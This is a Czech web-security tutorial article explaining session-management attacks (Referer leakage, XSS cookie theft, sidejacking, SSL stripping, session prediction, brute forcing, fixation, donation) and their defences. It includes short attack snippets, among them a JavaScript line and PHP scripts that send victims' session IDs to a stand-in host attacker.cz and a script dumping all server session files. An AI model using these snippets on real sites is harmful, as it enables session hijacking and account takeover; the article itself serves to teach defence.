Zpět na seznam článků     Číst komentáře (5)     Verze pro tisk

Zranitelnosti a útoky spojené se session managementem

Autor: .cCuMiNn.   
13.3.2016

Tento text si klade za cíl seznámit čtenáře s nejčastějšími hrozbami, které se ve webových aplikacích týkají session managementu.


Obsah

Úvod

Na úvod jistě stojí za to říci si něco o tom, co to vlastně session a session management vůbec je. O samotném HTTP protokolu je známo, že je to protokol bezstavový, tedy že každý request vyslaný z webového prohlížeče uživatelů je obsloužen samostatně, a nezávisle na požadavcích, které tento uživatel odeslal někdy dříve. Webový server obdrží požadavek, vrátí na něj odpovídající odpověď a tím to pro něj končí. Po odeslání odpovědi webový server okamžitě zapomíná, že s uživatelem právě komunikoval.

Ve chvíli, kdy má webový server vracet na požadavky uživatele jeho soukromá data, ke kterým nemá mít přístup nikdo jiný, musí se uživatel na serveru nejprve autentizovat. To provede například tím, že serveru odešle své autentizační údaje (například ve formě loginu a hesla). Server ověří, zda se jedná o legitimního uživatele, a v případě, že ano, vrátí mu požadovaná data. Problém nastane ve chvíli, kdy uživatel po předchozím ověření odešle na server další request. Jak jsme již řekli, trpí webové servery ve spojení s HTTP protokolem poměrně velkou sklerózou, a protože při tomto dalším požadavku by server uživatele již nepoznal, vyžadoval by od něj novou autentizaci. Ve zkratce by to vedlo k tomu, že by uživatel musel na server s každým svým requestem odesílat také svůj login a heslo, aby server věděl, s kým má tu čest.

Protože by s sebou ale uvedené řešení přinášelo velké množství potenciálních hrozeb, při nichž by mohly být přenášené autentizační údaje zachyceny a odcizeny, bylo vyvinuto něco, čemu se říká „session“, nebo chcete-li v překladu „sezení“ či „relace“. Práci s ním na straně serveru pak nemá na starosti samotný webový server, jako je například Apache, ale jednotlivé aktivní jazyky použité pro tvorbu aplikace, jako jsou PHP, Java, .Net, apd.

Uživateli, který se na serveru zdárně autentizuje, vystaví server prostřednictvím tohoto jazyka jedinečný identifikátor, který se běžně označuje jako „session ID“. Tento identifikátor si pak server uloží na disk ve formě session souboru (v případě PHP), nebo do paměti (v případě Javy či .Netu) a jeho kopii předá uživateli, aby jím ten mohl při dalších požadavcích prokazovat svou totožnost. Uživateli je tento identifikátor předáván nejčastěji pomocí HTTP hlavičky Set-cookie, po jejímž obdržení si webový prohlížeč uživatele zapíše hodnotu identifikátoru do cookie. Některé aplikace namísto cookies vkládají tento identifikátor do všech odkazů a formulářů, které jsou součástí právě generované webové stránky.

HTTP hlavička Set-Cookie obsažená v odpovědi serveru
 HTTP/1.0 200 OK
 Content-type: text/html
 Set-Cookie: sessionID=abcdef12345; Expires=Wed, 09 Jun 2020 10:18:14 GMT
 ...

Odešle-li uživatel následně další request, doplní webový prohlížeč do komunikace automaticky také HTTP hlavičku Cookie, která bude hodnotu identifikátoru patřícího konkrétní doméně obsahovat. Případně se identifikátor předá serveru prostřednictvím parametru v GET, nebo POST požadavku. Server na základě tohoto identifikátoru snadno rozpozná, od kterého uživatele konkrétní požadavek přišel a může mu tak na jeho základě vrátit konkrétní data.

HTTP hlavička Cookie obsažená v požadavku uživatele
 GET /viewData.html HTTP/1.1
 Host: www.example.cz
 Cookie: sessionID=abcdef12345
 ...
Některé možnosti předání sessionID v URL nebo proměnných požadavku
 GET /abcdef12345/viewData.html HTTP/1.1
 Host: www.example.cz
 …

 GET /viewData.html?sessionID=abcdef12345 HTTP/1.1
 Host: www.example.cz
 …

 POST /viewData.html HTTP/1.1
 Host: www.example.cz
 Length: 21

 sessionID=abcdef12345
 …
Použití sessions

Uvedené řešení je oproti neustálému předávání loginu a hesla jistě mnohem bezpečnější, ale přesto s sebou nese několik rizik, které je možné zneužít, a na které se proto v tomto článku blíže podíváme.

Session token in URL

Již v úvodu jsme si přestavili některé ze způsobů, jakými může být hodnota session ID předávána mezi webovým serverem a prohlížečem klienta. Jednou z uvedených variant byla také možnost, kdy je session ID od klientů zasíláno na server jako součást cesty v URL, nebo jako GET parametr uváděný v URL za otazníkem. Toto chování bylo poměrně běžné v rané fázi World Wide Webu, kdy prohlížeče neměly implementovánu podporu cookies, případně i později, kdy se začaly objevovat mobilní zařízení s webovými prohlížeči. Ani ty totiž podporou cookies zrovna neoplývaly.

Dnes je tato doba již dávnou historií a každý moderní prohlížeč plnohodnotnou práci s cookies umožňuje. Z tohoto důvodu již není nutné session identifikátor předávat uvedeným způsobem, a pokud tak aplikace činí, je to považováno za riziko a za bezpečnostní chybu aplikace. Důvodů, proč tomu tak je, můžeme vyjmenovat hned několik.

  • logování obsahu GET požadavků na síťových zařízeních mezi klientem a webovým serverem
  • uchovávání session ID prohlížečem v historii navštívených stránek
  • možnost odpozorování session ID z URL
  • únik session ID skrze HTTP hlavičku Referer
  • usnadnění útoků typu Session Fixation, Session Donation a jim podobných

Věřím, že důvody, proč nemá session ID v URL co pohledávat, byly dostatečně přesvědčivé sami o sobě, a že není potřeba k nim více dodávat. V případě, že testujete webovou aplikaci, měli byste se proto ujistit, že aplikace za žádných okolností nevkládá session ID do URL adresy a ani nikam jinam do zdrojového kódu stránky. Abyste důkladně ověřili chování serveru, nezapomeňte při testech ve svém prohlížeči také dočasně vypnout podporu cookies. Mnoho aplikací se totiž chová tak, že pokud není podpora cookies v prohlížeči k dispozici, automaticky se aplikace přepne do režimu, kdy si s klientem začne tento identifikátor předávat právě skrz proměnnou v URL.

Při dnešní podpoře cookies napříč všemi běžně používanými prohlížeči je toto chování neopodstatněné a nemělo by být tolerováno. Pokud se totiž aplikace chová uvedeným způsobem, může útočník využít sociotechniky k tomu, aby svou oběť přesvědčil k vypnutí podpory cookies v jejím prohlížeči a následně provedl některý z možných útoků, které přítomnost session ID v URL zneužívají.

Session Stealing / Session Hijacking

Session Stealing, nebo chcete-li v překladu únos sezení, není ani tak zranitelností, jako spíše útokem, ke kterému lze dospět zneužitím hned několika různých zranitelností a útoků:

  • únik session skrze HTTP hlavičku Referer
  • Cross-Site Scripting (XSS)
  • Session Sidejacking
  • Man in The Browser (MiTB)
  • krádež cookies malwarem
  • CookieJacking, FFFjacking
  • krádež sessions ze serveru
  • Session Prediction
  • Session Brute Forcing

Cílem útočníka při útoku Session Stealing je ukrást přihlášenému uživateli jeho identifikátor relace (session ID), a následně s ním bez předchozí autentizace přistoupit k cílové aplikaci pod identitou uživatele, jemuž byl tento identifikátor odcizen.

Session Hijacking

V této kapitole se zaměříme na jednotlivé útoky, které mohou ke krádeži session ID vést.

Únik session skrze HTTP hlavičku Referer

V části věnované problémům při výskytu identifikátoru relace v URL, byly mimo jiné zmíněny cesty, kterými se může útočník při propagaci session ID v URL zmocnit identifikátoru relace své oběti. Útočník jej může například odkouknout z URL navštívené stránky přes rameno své oběti. Pokud se oběť po ukončení práce neodhlásí od aplikace a tím nezruší platnost identifikátoru, může se útočník v době její krátké nepřítomnosti také podívat do historie navštívených webových stránek, kde bude tento identifikátor k dispozici. Mezi dalšími možnostmi byl zmíněn také únik session ID skrze HTTP hlavičku Referer, což je útok, nad kterým stojí za to se chvíli pozastavit.

Prohlídnete-li si (například pomocí nástroje Burp Suite) komunikaci, která opouští webový prohlížeč při surfování po internetu, zjistíte, že váš browser, vždy když kliknete na nějaký odkaz na stránce, vloží do odchozího HTTP requestu hlavičku, která se jmenuje Referer. Tato hlavička vždy obsahuje URL webové stránky, na které jste kliknuli na nějaký odkaz. Server, který hostuje nově navštívenou webovou stránku, se tak může na obsah této hlavičky podívat, aby zjistil, odkud na ni přicházíte.

Ukázka HTTP requestu obsahujícího hlavičku Referer
 GET / HTTP/1.1
 Host: www.attacker.cz
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: cs,en-US;q=0.7,en;q=0.3
 Accept-Encoding: gzip, deflate
 Referer: http://www.example.cz/test/?sessionID=abcdef12345
 Connection: close

V uvedeném výpisu si můžete všimnout, že pokud byl v URL obsažen parametr sessionID, je jeho hodnota rovněž součástí hlavičky Referer. Pokud tedy v takto zranitelné aplikaci kliknete na odkaz, který směřuje na web útočníka, dobrovolně tím váš identifikátor relace prostřednictvím této hlavičky útočníkovi předáte. Někdy dokonce ani nemusíte klikat na žádný odkaz. Hlavička Referer je totiž prohlížečem přidávána do odchozích požadavků i ve chvíli, kdy stránka načítá externí obsah, kterým jsou například css a javascriptové soubory či obrázky. Útočníkovi tedy stačí, když se mu na cílovou doménu podaří umístit libovolný HTML tag, který způsobí vyvolání requestu na jeho web.

  1.  <img src="http://www.attacker.cz/savereferer.php">

Jakmile uživatel, který má session ID obsaženo v URL, navštíví stránku s takto vloženým tagem, opustí hodnota identifikátoru relace prostřednictvím refereru jeho webový prohlížeč bez jediného kliknutí. Útočník ji může následně zachytit na svém webu a uložit do souboru například pomocí následujícího skriptu.

Zdrojový kód skriptu saverefere.php
  1. <?php
  2.   $content = $_SERVER[„HTTP_REFERER“].“\r\n“.file_get_contents(„referers.txt“);
  3.     file_put_contents(“referers.txt“, $content);
  4. ?>

Pokud Vám odesílání refereru vadí, můžete jej v některých prohlížečích zakázat. Ve Firefoxu například stačí navštívit adresu about:config a přepsat zde volbu network.http.sendRefererHeader na hodnotu 0. Je však nutné si uvědomit, že některé aplikace referer vyžadují, protože na jeho základě vystavěly obranu proti útokům typu Cross-Site Request Forgery, přestože to není rozhodně ideální způsob obrany.

Obrana

Obrana je v případě úniku session identifikátoru skrze referer víceméně zřejmá. Měli byste zajistit, že se identifikátor relace nebude nikdy vyskytovat v URL. Pro jeho předávání a ukládání by měly být vždy použito cookies.

Zakázání vkládání Session ID do URL v PHP (php.ini)
 session.use_only_cookies true

Pokud jste přeci jen z nějakého důvodu nuceni vkládat session ID do URL, pak je nutné zajistit, že se veškerý externí obsah a odkazy nebudou navštěvovat napřímo. Místo toho by měly být veškeré externí odkazy směrovány přes redirektovací skript, který již nebude ve svém URL tento identifikátor relace obsahovat, čímž se citlivá data z refereru při návštěvě externího obsahu odstraní.

 GET /redir.php?url=http://www.attacker.cz
 Host: www.example.cz
 Referer: http:// www.example.cz?sessionID=abcdef12345
     
 HTTP/1.1 302 Moved Temporarily
 Location: http://www.attacker.cz
     
 GET / HTTP/1.1
 Host: www.attacker.cz
 Referer: http://www.example.cz/redir.php?url=http://www.attacker.cz

Při využívání podobných přesměrování ovšem nezapomínejte na hrozby otevřených redirektů, které mohou být útočníkem rovněž zneužity.

Cross-Site Scripting

Pokud je hodnota session ID předávána prostřednictvím cookie, bude útočník postaven před složitější úkol. Pro získání identifikátoru relace bude muset využít některé jiné varianty útoku, jako je například Cross-Site Scripting (XSS). Javascript má totiž k obsahu cookies (pokud nejsou chráněny příznakem HttpOnly, o kterém bude ještě řeč) přístup, a není tak pro něj problém jejich obsah přečíst a odeslat útočníkovi. Jednoduchý skript sloužící útočníkovi pro krádež a odeslání session ID z uložených cookies by mohl vypadat takto:

  1. document.write('<img src="http://www.attacker.cz/savecookies.php?cookies='+encodeURI(document.cookies)+'">');

Obrana

Obrana v tomto případě spočívá v důkladném ošetření aplikace proti Cross-Site Scriptingu, kdy vhodně ošetříme veškeré výstupy, jež mohou pocházet od uživatelů. Zvýšení bezpečnosti dosáhneme také implementací bezpečností politiky Content Security Policy, a na co bychom určitě neměli zapomenout, je ochrana cookie obsahující identifikátor relace pomocí příznaku HttpOnly. Nastavení tohoto příznaku totiž zamezuje Javascriptu přístup k obsahu takto chráněných cookies. Díky tomu nebude možné z uložených cookies odcizit identifikátor relace dokonce ani ve chvíli, kdy se útočníkovi podaří spustit v cílové aplikaci vlastní kód. Existují sice některé metody, jako například Cross-Site Tracing, pomocí nichž je možné obsah i takto chráněných cookies získat. Většina těchto útoků ale zneužívá zranitelnosti starších verzí webových prohlížečů, Flashe a Javy, nebo se spoléhá na špatnou konfiguraci webového serveru.

Přidání příznaku HttpOnly v PHP (php.ini)
 session.cookie_httponly true

Session Sidejacking

Dalším ze způsobů, jakým může útočník získat hodnoty cizích session identifikátorů, jsou útoky umožňující útočníkovi dostat se do pozice MiTM, například pomocí útoku APR. Pro odposlech identifikátorů ale stačí i běžný sniffing na wi-Fi síti, nebo na sítích s hubem. Ať už se útočníkovi podaří postavit se v komunikaci mezi uživatele a webový server, nebo tuto komunikaci pouze odposlouchává, je důležité že může zachytávat důvěrná data, jakými jsou přihlašovací údaje uživatelů, nebo právě identifikátory relací. Aby aplikace před podobnými útoky obstála, je nutné, aby byl obsah komunikace přenášený mezi ní a uživateli šifrován pomocí SSL (HTTPS). Útočník, který zachytí šifrovanou komunikaci, jež využívá bezpečných šifrovacích metod tak nebude schopen z této komunikace vyextrahovat použitelná data.

Aplikace jsou si hrozeb při přenosu přihlašovacích údajů nešifrovaným kanálem často vědomi, a proto pro odesílání údajů během autentizačního procesu využívají HTTPS. Bohužel ale někdy využívají SSL pouze během samotné fáze přihlašování a veškerou ostatní komunikaci přenáší nešifrovaně. Jak již víme, nemusí útočník nutně znát přihlašovací údaje, aby se zmocnil cizího uživatelského účtu. Bohatě si vystačí i s ukradeným session identifikátorem, který mu umožní přistoupit k aplikaci pod identitou uživatele, kterému byl tento identifikátor odcizen. Víme také, že webový prohlížeč přidává hodnoty cookies ke všem requestům, které směřují na doménu, které tyto cookies náleží. Útočníkovy proto stačí zachytit libovolný požadavek přihlášeného uživatele, který směřuje na server nezabezpečeným kanálem. Získá tak session ID, které může poměrně snadno zneužít.

Poznámka: Když už během testu kontrolujete, zda se přihlašovací údaje odesílají šifrovaným kanálem, měli byste současně zkontrolovat také to, zda je bezpečnou cestou načítána také samotná stránka obsahující přihlašovací formulář. Pokud je totiž stránka s tímto formulářem předávána nešifrovaně, může být tato během MiTM útoku pozměněna a formulář upraven tak, aby přihlašovací údaje odesílal nezabezpečeným kanálem, nebo na zcela jiné místo v internetu.

Obrana

Obrana proti Session Slidejackingu je prostá. Aplikace by měla podporovat a vyžadovat pouze šifrovanou komunikaci. I v takovém případě by ale stále hrozily některé tipy útoků, které si nyní přiblížíme, a proti kterým by měla být aplikace rovněž ochráněna.

Cookie: příznak Secure

Představte si, že jste přes HTTPS přihlášení k aplikaci a útočník vám pošle zprávu s externím obsahem nebo odkazem, který na doménu aplikace odesílá libovolný request metodou HTTP. Pokud se váš prohlížeč pokusí o načtení tohoto externího obsahu, nebo pokud kliknete na obdržený odkaz, vyšle Váš prohlížeč cílové aplikaci požadavek, ke kterému váš prohlížeč automaticky doplní cookies patřící cílové doméně. Je zcela lhostejné, že aplikace vyžaduje šifrované spojení, a že váš požadavek odmítne, nebo vám vrátí žádost, abyste se přesměrovali na HTTPS. V tuto chvíli je totiž již pozdě. Pokud útočník na síti odposlouchával, získal z vašeho jediného nešifrovaného requestu vše, co potřeboval.

Zdůvodnění Secure příznaku

Je potřeba webový prohlížeč uživatelů nějakým způsobem informovat o tom, že nesmí přidávat hodnoty cookies ke všem requestům na cílovou doménu, ale pouze k těm, které jsou odesílány bezpečnou cestou s využitím SSL. Řešení tohoto problému je více než jednoduché. Všem cookies, které si přejeme tímto způsobem chránit, stačí nastavit příznak Secure. Webový prohlížeč takto označená cookies již nikdy nešifrovaným kanálem neodešle.

Ochrana session cookie příznakem Secure (php.ini)
 session.cookie_secure true
HTTP Strict Transport Security (HSTS)

Útočník, kterému se podařilo dostat se do pozice MiTM, může také zneužít návyku uživatelů, kteří při přístupu k webové aplikaci často vkládají do adresního řádku prohlížeče pouze doménu a spoléhají na to, že je aplikace sama přesměruje na bezpečný HTTPS protokol.

 Uživatel si žádá aplikaci example.cz
 GET / HTTP/1.1
 HOST: example.cz
     
 Server vrátí v odpovědi požadavek na přesměrování:
 Location: https://www.example.cz
     
 Uživatel následuje odkaz na bezpečný protokol
 ==> HTTPS://www.example.cz

Můžete si všimnout, že první request pocházející od uživatele a reakce serveru na něj, se přenáší nešifrovaně. Útočník, který může do této komunikace zasahovat, může první reakci serveru zastavit a místo toho, aby ji předal uživateli, naváže se serverem sám šifrovanou komunikaci. Na to server vrátí útočníkovi požadovaný obsah, ve kterém útočník vyhledá všechny výskyty řetězce HTTPS, nahradí je řetězcem HTTP a teprve takto upravenou odpověď předá nezabezpečeným kanálem uživateli. Nevšimne-li si uživatel, že stránka není načtena přes HTTPS, zadá a odešle na takto načtené stránce své přihlašovací údaje, pak tyto údaje odposlechne útočník stojící uprostřed. Útočník následně odešle tyto údaje na webový server přes HTTPS.

Použití nástroje SSL Strip

Je vidět, že spokojeni jsou zde všichni účastníci: Uživatel dostává od serveru požadovaný obsah, server komunikuje zašifrovaným kanálem, no a v neposlední řadě útočník je schopen číst obsah, který by pro něj byl při použitém šifrování mezi uživatelem a serverem nečitelný. Nejznámější nástroj, který lze pro tento typ útoku použít, se jmenuje SSL Strip.

Aplikace, která by chtěla tento typ útoku znemožnit, musí použít HTTP hlavičku Strict-Transport-Security, která informuje webový prohlížeč uživatelů o tom, že kdykoliv budou chtít navštívit naši doménu, musí použít pouze bezpečný HTTPS protokol. Webový prohlížeč si tuto informaci uloží do svého interního úložiště, a pokud uživatel kdykoliv v budoucnu zadá do adresního řádku pouze doménu bez uvedení protokolu, použije webový prohlížeč pro komunikaci automaticky zabezpečenou HTTPS variantu.

  1. <?php
  2.   header("Strict-Transport-Security:max-age=63072000");
  3. ?>
  4.  
  5. <?php
  6.   header("Strict-Transport-Security:max-age=63072000"); includeSubDomains
  7. ?>
Podpora HSTS v jednotlivých webových prohlížečch
Internet Explorer11
Firefox4
Opera12
SafariMavericks (Mac OS X 10.9)
Chrome4.0.211.0

Man in The Browser (MiTB)

MiTB je dalším typem útoku, který může využít útočník ke krádeži session identifikátorů. Při tomto útoku jde o to, že útočník instaluje u své oběti do prohlížeče doplněk, který bude mít přístup k úložišti cookies, nebo do části paměti využívané prohlížečem. Takový doplněk pak bude schopen identifikátory relací uživatelům odcizovat a odesílat útočníkovi.

Obrana zde je ponechána na koncových uživatelích, kteří musí dodržovat pravidla bezpečné práce s počítačem tak, aby nemohlo dojít k vědomé, nebo nevědomé instalaci podobného doplňku s nežádoucími funkcemi.

Přestože v případě tohoto útoku nedochází ke zneužití žádné zranitelnosti webové aplikace, mohou proti němu jejich provozovatelé bojovat. Je zřejmé, že není v jejich silách zabránit krádeži session ID, mohou ale zabránit použití odcizených identifikátorů tím, že relace sváží s konkrétní IP adresou, User-Agentem, nebo dalšími hodnotami, kterými se od sebe uživatelé odlišují, a které můžeme na straně serveru snadno ověřit. V případě provázání relace s IP adresou je důležité myslet na to, že se některým uživatelům může tato adresa dynamicky měnit. Těmto uživatelům by proto měla být dána možnost tuto ochranu deaktivovat.

Krádež cookies malwarem

Útočník může číst a odesílat hodnoty identifikátorů relací také pomocí nejrůznějšího malwaru, který se jim podaří spustit v systémech napadených uživatelů. I zde platí pro uživatele a provozovatele webových aplikací stejné metody obrany jako v případě MiTB útoků.

CookieJacking

CookieJacking je metoda vedoucí ke krádeži obsahu cookies z webového prohlížeče, která ohrožovala uživatele Internet Exploreru a zneužívala při tom kombinace skutečností, že tento prohlížeč ukládal hodnoty cookies do souborů s predikovatelným názvem, a že bylo možné tyto soubory načítat do rámů vložených do webové stránky útočníka.

FFFjacking

Uživatele pracující na počítači se systémem Windows pod účtem administrátora ohrožuje také útok FFFjacking, s jehož využitím je možné načítat do rámu umístěného na stránce útočníka obsah libovolných adresářů a textových souborů uložených v počítači uživatelů. V případě IE, který ukládá obsah cookies do souborů je tak opět možné obsah takto uložených cookies odcizit vhodným útokem typu clickjacking.

Krádež sessions ze serveru

Samotné session identifikátory nejsou uloženy pouze na straně uživatelů (například v podobě cookies), ale musí být známé také webovému serveru, aby si ten k nim mohl přiřadit konkrétního uživatele. Většina na serveru používaných jazyků, jako je .NET nebo Java, uchovávají seznam aktivních relací v RAM paměti. V případě PHP jsou ale relace ukládány do session souborů, které se v defaultním nastavení serveru ukládají do adresáře /tmp pod jménem sess_abcdef12345, kde abcdef12345 je právě identifikátor relace shodný s tím, který má uživatel uložen ve svém cookie.

Útočník proto při krádeži relací nemusí identifikátory relací krást pouze na straně uživatelů, ale může se uchýlit také ke krádeži session identifikátorů z webového serveru. V případě špatně nakonfigurovaných webhostingů, které používají jedno společné úložiště session souborů pro různé webové aplikace, a jsou špatně nastavena přístupová práva na filesystému, může útočník přečíst seznam souborů v tomto úložišti, a snadno tak získá seznam všech aktivních relací.

Skript vypisující všechny relace uložené v úložišti sessions
  1. <?php
  2.   $sessions = array();
  3.  
  4.   $path = realpath(session_save_path());
  5.   $files = array_diff(scandir($path), array('.', '..'));
  6.  
  7.   foreach ($files as $file) {
  8.     $sessions[$file] = unserialize(file_get_contents($path . '/' . $file));
  9.   }
  10.  
  11.   print_r($sessions);
  12. ?>

Obrana

Úložiště pro session soubory by mělo být oddělené pro různé webové aplikace. Každá webová aplikace by měla běžet pod vlastním uživatelským účtem a práva na filesystému, které jsou přiřazeny tomuto úložišti by měla být nastavena tak, aby provozovatel aplikace nemohl číst obsah adresáře a měl přístup pouze k souborům, které jsou spojeny s jeho vlastní aplikací.

Nastavení úložiště session souborů v php.ini
 session.save_path

Session Prediction

Ne vždy je pro útočníka nutné identifikátory relací krást přímo od aktuálně přihlášených uživatelů. Pokud je session ID v aplikaci vytvářeno proprietárně pomocí vlastních algoritmů a není skutečně náhodné, pak se může útočníkovi podařit použitý algoritmus „rozlousknout“. Bude-li útočníkovi znám algoritmus generování session ID, pak bude schopen si tyto identifikátory generovat vlastními silami.

Představte si například, že je za generování session identifikátorů zodpovědná následující funkce v PHP

  1. <?php
  2.   function newSessionID($login) {
  3.     return md5($login+time());
  4.   }
  5. ?>

Útočník, který bude znát tento použitý algoritmus a login aktuálně přihlášeného uživatele, může tomuto uživateli unést sezení tím, že vyzkouší vygenerovat kombinace loginu a času za několik posledních hodin a vždy otestuje, zda je vygenerované session ID platné.

Pro zjištění výše uvedeného algoritmu by útočník musel mít přístup ke zdrojovému kódu aplikace. Ne vždy to pro něho bude ale tak složité. Pokud je session ID nebo jeho část generováno jako sekvenční číselná posloupnost, bude vše pro útočníka mnohem jednodušší. Představte si následující příklad, kdy se několikrát po sobě přihlásíte a odhlásíte, přičemž aplikace Vám po každém přihlášení vygeneruje nový identifikátor. Soupis identifikátorů, které Vám byly postupně přiděleny, by vypadal takto:

 20160311012266178
 20160311012267176
 20160311012268172
 20160311012269175
 20160311012270178
 20160311012271171
 20160311012272176

Pohledem na seznam identifikátorů mezi nimi můžete odhalit několik souvislostí

  • první část identifikátoru je statická (obsahuje pravděpodobně datum)
  • následuje číslo, které se sekvenčně zvyšuje
  • další částí je statické číslo 17 (jehož význam je nám neznámý)
  • poslední číslice identifikátoru se zdá náhodná a půjde patrně o nějaký kontrolní součet

Ze zjištěných skutečností má útočník dostatek informací k tomu, aby mohl napadnout relace uživatelů, kteří se přihlásili před ním, nebo po něm. Pokud se totiž útočník přihlásí a zjistí, že mu byl přidělen identifikátor

 20160311012314173

Pak uživatel, který se přihlásil před ním, bude mít identifikátor

 2016031101231317X

Protože není známo, jakým způsobem vzniká poslední číslice, bude muset útočník namísto znaku X vyzkoušet hodnoty 0-9. Maximálně na desátý pokus se ale v tomto případě útočníkovi podaří cizí relaci napadnout.

Obrana

Z uvedeného vyplývá, že by aplikace neměla nikdy pro generování session ID využívat vlastní algoritmy, které nejsou zcela náhodné. Session identifikátor by měl být vždy stoprocentně náhodný.

Session Brute Forcing

V kapitole věnované zranitelnosti Session Prediction jsme si zdůvodnili, proč musí být identifikátor relace náhodný. Stejně důležité ale je také to, aby byl tento identifikátor dostatečně dlouhý a komplexní. Představte si, že by identifikátory relací, které aplikace generuje, měly následující podobu:

 2A34C
 F8DA3
 D582E
 6F921

Při pohledu na tyto identifikátory rychle zjistíme, že jsou tvořeny pouze znaky šestnáctkové soustavy (0..9, A..F) s délkou 5 znaků. Z tohoto snadno vypočteme počet všech možných variant 16^5 = 1 048 576. Aby útočník prošel všechny možné varianty, bude to pro něho znamenat, odeslat na server něco málo přes milion requestů. Při rychlosti 200 requestů za sekundu bude platná konkrétní platná relace odhalena nejpozději za hodinu a půl. Když si uvědomíme, že aktivních relací bude v aplikaci patrně více, nezabere odhalení některé z nich útočníkovi pravděpodobně více než deset minut.

Obrana

Aby nebylo možné odhalovat aktivní relace uživatelů hrubou silou, je potřeba, aby byly identifikátory relací dostatečně dlouhé a množina použitých znaků byla pokud možno co největší. Za minimum se dá považovat délka identifikátorů větší než 16 znaků s použitím znaků znaky z celé abecedy a čísel. Aplikace může útok hrubou silou odhalit také počítáním požadavků s různými session ID z jedné IP adresy v daném čase.

Secret information in cookie

Některé aplikace si do session cookies nebo do cookies sloužících pro trvalé přihlášení ukládají také důvěrné informace, jako jsou jméno a heslo. Tyto údaje pak bývají z bezpečnostních důvodů zakódovány například algoritmem Base64. Toto jejich zabezpečení je ale naprosto nedostatečné, protože je velice snadné získaný řetězec dekódovat. Podobné důvěrné údaje by se do cookies neměly nikdy ukládat například z důvodu odposlechu cookies na síti, nebo možnosti čtení lokálního úložiště cookies.

Session Fixation

Session Fixation je poměrně častá zranitelnost session managementu. Při zneužití této zranitelnosti není potřeba, aby útočník kradl identifikátor relace své oběti. Útočník namísto toho přesvědčí svou oběť, aby používala konkrétní identifikátor. Celý útok tedy vypadá následovně:

  • útočník zvolí libovolný session identifikátor
  • útočník přesvědčí svou oběť, aby při komunikaci s cílovou aplikací používala právě tento identifikátor
  • oběť, která odešle podstrčený identifikátor cílové aplikaci, nebude na serveru rozpoznána a bude nucena se přihlásit
  • po přihlášení oběti k aplikaci se na session identifikátor původně vygenerovaný útočníkem naváže identita oběti
  • útočník, který po přihlášení oběti přistoupí se stejným identifikátorem k aplikaci, bude přihlášen k uživatelskému účtu své oběti

Schéma útoku Session Fixation

Jak z uvedeného průběhu útoku vyplývá, byl útočník tím, kdo znal identifikátor relace jako první. Nebylo proto potřeba, aby se tento identifikátor snažil své oběti odcizit.

Místem, které dá v celém postupu útočníkovi nejvíce práce, bude přesvědčení oběti, aby začala používat jeho identifikátor relace. Zde bude rozdíl v tom, zda se session ID předává aplikaci prostřednictvím URL, nebo pomocí cookies. V případě, že je session ID předáváno v URL, stačí, aby útočník zaslal své oběti odkaz, který tento identifikátor přímo obsahuje:

 http://www.example.cz?sessionID=abcdef12345

Pokud uživatel na podobný odkaz klikne, zároveň se vůči cílové aplikaci autentizuje obsaženým identifikátorem. Jak je vidět, bylo v tomto případě podstrčení identifikátoru velice jednoduché a je jedním z důvodů, proč nemá být URL pro předávání session ID nikdy používáno.

Poněkud složitější situace pro útočníka nastane ve chvíli, kdy je session ID předáváno prostřednictvím cookie. Pokud je ovšem server špatně nakonfigurován, například je v PHP zapnuta direktiva register_globals, může se pro injektáž identifikátoru do obsahu cookie použít i výše uvedený příklad s hodnotou v URL. Abychom aplikaci zabránili v přebírání hodnoty identifikátoru relace z URL, stačí v PHP nastavit hodnotu session.use_trans_sid na false. Mnohem častěji bude ale nutné, aby útočník využil některé další zranitelnosti, jako je například HTTP Response Spliting, nebo Cross-Site Scripting, aby injektoval hodnotu identifikátoru přímo do cookie.

Využití javascriptu pro nastavení hodnoty cookie
  1. document.cookie="sessionID=abcdef12345 ; expires=Thu, 27 Dec 2020 12:00:00 UTC; path=/";

Obrana

V případě zranitelnosti Session Fixation spočívá obrana ve změně identifikátoru relace po zdárném přihlášení uživatele. Když se podíváte na výše uvedené schéma, znamenala by tato ochrana přegenerování session ID mezi kroky 4 a 5 z předchozího schématu. Pokud totiž bude po přihlášení uživatele vygenerován nový identifikátor, útočník rázem přijde o možnost zneužít jím vygenerovanou hodnotu, viz schéma.

Schéma obrany proti útoku Session Fixation
Vygenerování nového session ID v PHP
 session_regenetate_id();

Pro další zvýšení bezpečnosti může být identifikátor relace přegenerován při každém requestu. Platnost takového identifikátoru bude totiž pouze jednorázová a útočníkovi tak znemožní zneužití i v případě, že jej odchytne během komunikace. Dalšího navýšení bezpečnosti lze dosáhnout i odmítáním všech identifikátorů, které nebyly vygenerovány serverem, cohož lze v PHP dosáhnout nastavením striktního módu session.use_strict_mode.

Aby útočník nemohl použít identifikátor, který sice nepatří přihlášenému uživateli, ale byl vygenerován serverem, pomůže provázání identifikátoru relace s konkrétním uživatelem, pro kterého byl identifikátor vystaven. V PHP toho můžeme dosáhnout například vlastní obsluhou práce se session funkcí session_set_save_handler(), nebo ukládáním požadovaných hodnot přímo do session proměnné.

Session Donation

Pokud je aplikace správně ošetřena proti útokům zneužívajícím Session Fixation, stále útočníkovi zůstává v rukávu ještě jeden trumf, kterým je darování vlastní relace své oběti. Průběh útoku je pak takový, že se útočník přihlásí ke svému uživatelskému účtu, přečte hodnotu svého identifikátoru relace a tu předá k dalšímu použití své oběti. Pokud se injekce vlastního identifikátoru do komunikace oběti útočníkovi podaří, pak se oběť ocitne přihlášená k uživatelskému účtu útočníka.

Nyní si možná kladete otázku, k čemu může být podobný útok dobrý. Útočník tím totiž na první pohled nic nezískává. Možnosti zneužití zde ale přesto jsou. Představte si například aplikaci webmailu, ze které uživatel odesílá mailové zprávy. Pokud útočník daruje oběti svou relaci a oběť si toho nevšimne, může dojít k tomu, že začne odesílat e-maily z účtu útočníka. Útočník následně nalezne takto odeslané zprávy ve své složce s odeslanou poštou.

